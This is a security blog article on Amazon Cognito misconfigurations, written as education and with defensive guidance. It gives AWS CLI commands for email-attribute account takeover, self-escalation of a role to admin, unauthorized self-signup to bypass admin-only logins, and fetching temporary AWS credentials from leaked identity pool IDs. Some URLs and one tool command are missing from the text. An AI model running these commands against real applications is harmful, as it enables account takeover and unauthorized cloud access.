Shellmates Logo

Shellmates club


Article Card Placeholder

Amazon cognito misconfiguration

Mohamed Lakhdar Metidji - Web Exploitation

Published on : 3/26/2023

Cloud Security

Web Security

Amazon Web Services


In recent years, Amazon Web Services (AWS) has become a popular choice for businesses looking to host their web applications in the cloud. One of the most widely used AWS services is Amazon Cognito, a user authentication and identity management service. However, a misconfigured Amazon Cognito instance can leave sensitive user data exposed, potentially leading to data breaches and other security risks.

Markdown Monster icon

First of all

What is Amazon Cognito?

Amazon Cognito is a fully-managed service from AWS that provides user authentication, authorization, and user management for web and mobile applications. It allows developers to easily add user sign-up, sign-in, and access control to their applications, as well as integrate with third-party identity providers such as Facebook, Google, and Amazon. Amazon Cognito also supports multi-factor authentication and user data synchronization across devices.

How does it work?

Markdown Monster icon

Amazon Cognito consists of two main components :

1. User Pools

This component provides user sign-up, sign-in, and authentication functionality for web and mobile applications. User pools enable you to create and maintain a user directory, customize the authentication process, and integrate with third-party identity providers.

Markdown Monster icon

Users Pool

As you can see, the front end communicates with the user pool to get a JWT. The JWT is then used to access backend-restricted resources.

The JWT is signed using the RS256 algorithm. This algorithm is composed of a private key used to sign the payload and a public key used to check the validity of the payload.

2. Identity Pools

This component enables you to grant temporary, limited access to your AWS resources to users who have authenticated through user pools, social identity providers, or other third-party identity providers. Identity pools allow you to control access to your resources based on user identities and provide seamless and secure access to AWS services for authenticated users.

Markdown Monster icon

Identity Pool

Amazon Cognito is designed to be a secure and reliable service, but like any cloud service it is important to ensure that it is configured correctly. If not, it could lead to misconfiguration that can result in some vulnerabilities

Markdown Monster icon

What are Misconfigurations in Amazon Cognito?

Misconfigurations in Amazon Cognito refer to errors or oversights made during the configuration of the service, which can result in security vulnerabilities. These misconfigurations can allow unauthorized access to user accounts or sensitive data, compromise the confidentiality or integrity of data, and damage the reputation of the organization. Examples of misconfigurations in Amazon Cognito include Improper Access Controls, Lack of Authorization, Misconfigured User Data Permissions, Lack of Multi-Factor Authentication … etc

In this article, I will focus on an example of common Amazon Cognito misconfigurations :

Misconfiguration to Zero Click Account Takeover

Markdown Monster icon

Updating email attribute before verification


Flickr uses Amazon Cognito to implement its login functionality.

Markdown Monster icon

The flow is started at Via JavaScript, the enduser’s credentials are sent to, which responds with tokens. Finally, these tokens are forwarded to

The Amazon Cognito login implements a slightly modified variant of OpenID Connect. If you are familar with this single sign-on protocol, you will recognize the following Auth. Request and Auth. Response:

POST / HTTP/2 Host: […] { "AuthFlow":"USER_PASSWORD_AUTH", "ClientId":"3ck15**************", "AuthParameters":{ "USERNAME":"", "PASSWORD":"[REDACTED]", "DEVICE_KEY":"us-east-1_070[…]" }, "ClientMetadata": { } }

If the provided credentials are valid, Cognito responds with tokens:

HTTP/2 200 OK […] { "AuthenticationResult": { "AccessToken":"[REDACTED]", "ExpiresIn":3600, "IdToken":"[REDACTED]", "RefreshToken":"[REDACTED]", "TokenType":"Bearer" }, "ChallengeParameters": { } }

Flickr uses a user pool to organize their users. By using the access_token with the AWS CLI tool, we can test which actions are in the scope of our token. Using the API, one is able to alter some of the user attributes — including the linked e-mail address:

through this command :

$ aws cognito-idp update-user-attributes — region us-east-1 — access-token eyJraW****** — user-attributes ‘Name=email,

To complete the account takeover, the researcher logs in using the malicious, look-alike e-mail address and the attacker’s password.

Full report :

AWS has introduced a new security configuration to mitigate this issue, so if you keep original attribute value active when an update is pending explicitly enabled, The email attribute will not be updated to the new email address until it is verified.

This is a new security configuration that was only introduced after June 2022 which means a lot of applications might still be misconfigured.

Markdown Monster icon

Misconfiguration to privilege escalation

Markdown Monster icon

Privilege escalation through writable user attributes:

In the context of AWS Cognito, privilege escalation through writable user attributes could occur if a user is able to modify their own attributes in a way that grants them additional permissions beyond what they are authorized to have.


For example, an admin invites a user and assigns his role as a reader, then sends the invitation to their email.

What if the user is an attacker and changes his role to admin?

By the same steps of the old example ‘Flickr’, using the access_token with the AWS CLI tool, we can test which actions are in scope of our token. Using the API, one is able to alter some of the user attributes — including roles Let’s say the user’s metadata looks like this :

{ "Username": "e2[…]", "UserAttributes": [ { "Name": "sub", "Value": "e28[…]" }, { "Name": "role", "Value": "reader" }, { "Name": "email_verified", "Value": "true" ), { "Name": "email", "Value": "" } ] }

The user can change his role from reader to admin through this command using AWS CLI tool :

$ aws cognito-idp update-user-attributes — region us-east-1 — access-token eyJraW****** — user-attributes ‘Name=role,Value=admin

once you check again using this simple GetUser action through this command :

$ aws cognito-idp get-user — region us-east-1 — access-token eyJr********

your metadata will look like this :

{ "Username": "e2[…]", "UserAttributes": [ { "Name": "sub", "Value": "e28[…]" }, { "Name": "role", "Value": "admin" }, { "Name": "email_verified", "Value": "true" ), { "Name": "email", "Value": "" } ] }

Authentication bypass due to enabled Signup API action

Applications that do not offer user signup and only support administrative provision of accounts could be vulnerable. If they do not properly disable the signup API, they can be at risk of unauthorized account creation by attackers. This can be particularly dangerous for admin login portals using AWS Cognito, as attackers can bypass authentication and gain access to sensitive information or perform unauthorized actions.


This includes admin login portals which implement AWS cognito allowing authentication bypass as a result.

Markdown Monster icon

in this example, there is no signup to create an account because only admins can log in

When creating a new user pool, self-registration may be enabled by default, allowing users to sign up for an account on their own.

Markdown Monster icon


The attacker only needs the client ID and region to test against the self-registration.

The attacker can register through this command using AWS CLI tool:

$ aws cognito-idp sign-up — client-id <client-id> — username <email-address> — password <password> — region <region>

successful signup looks like this:

{ "CodeDeliveryDetailsList":[ { "Destination":"m***@w***", "DeliveryMedium":"EMAIL", "AttributeName":"email" } ] }

In case of a successful self-registration, a 6 digits confirmation code will be delivered to the attacker’s email address.

Markdown Monster icon

Example of confirmation code

The attacker can confirm the account through this command :

$ aws cognito-idp confirm-sign-up — client-id <client-id> — username <email-address> — confirmation-code <confirmation-code> — region <region>

Fetching temporary AWS credentials using authenticated user

Fetching temporary AWS credentials using an authenticated user involves using the AWS Security Token Service (STS) to generate temporary credentials for an IAM role with the necessary permissions to access AWS resources. Proper security measures should be implemented to ensure that the user has the necessary permissions, also access controls and audit logs should be in place to monitor and track access to AWS resources using the temporary credentials.

To generate the AWS credentials, we need to find Identity Pool ID which is usually hardcoded in the source code, in a bundled JS file or in HTTP response.

  • Client ID

  • User Pool ID

  • Region

For example :

Markdown Monster icon

js file leak the AWS credentials ( User Pool ID, User Pool ID, Region)

once the attacker has access to those credentials

How can he exploit them?

An attacker can use the previous Identity ID to generate AWS credentials. Use AWS Cli as follows :

$ aws cognito-identity get-credentials-for-identity — identity-id <identity-id> — region <region>

the metadata looks like

{ "IdentityId": "us-west-2:*********", "Credentials": [ { "AccessKeyId": "******", "SecretKey": "*********", "SessionToken": "********" } ] }

Now the attacker can enumerate permissions associated with these credentials using a tool such as:


Scout Suite:

$ ./ — access-key <AccessKeyID> — secret-key <SecretKey> — session-token <SessionToken>

Markdown Monster icon

an example of the tool “enumerate-iam” about how it working


These are some of the common and serious Amazon cognito configuration issues that have been identified and can be addressed by various solutions.

Guidelines for developers:

  1. Make sure to take out any sensitive information, such as the Cognito Identity Pool Id, from the responses sent by the server.

  2. If it’s not needed, turn off the Signup feature on AWS Cognito.

  3. If there’s no use for it, disable the unauthenticated role.

  4. Check the IAM policy linked to both authenticated and unauthenticated roles to ensure that only the minimum necessary access is granted.

  5. Assess all user attributes and remove writing permission if it’s not required.

  6. Keep in mind that the email attribute value may contain an email address that hasn’t been verified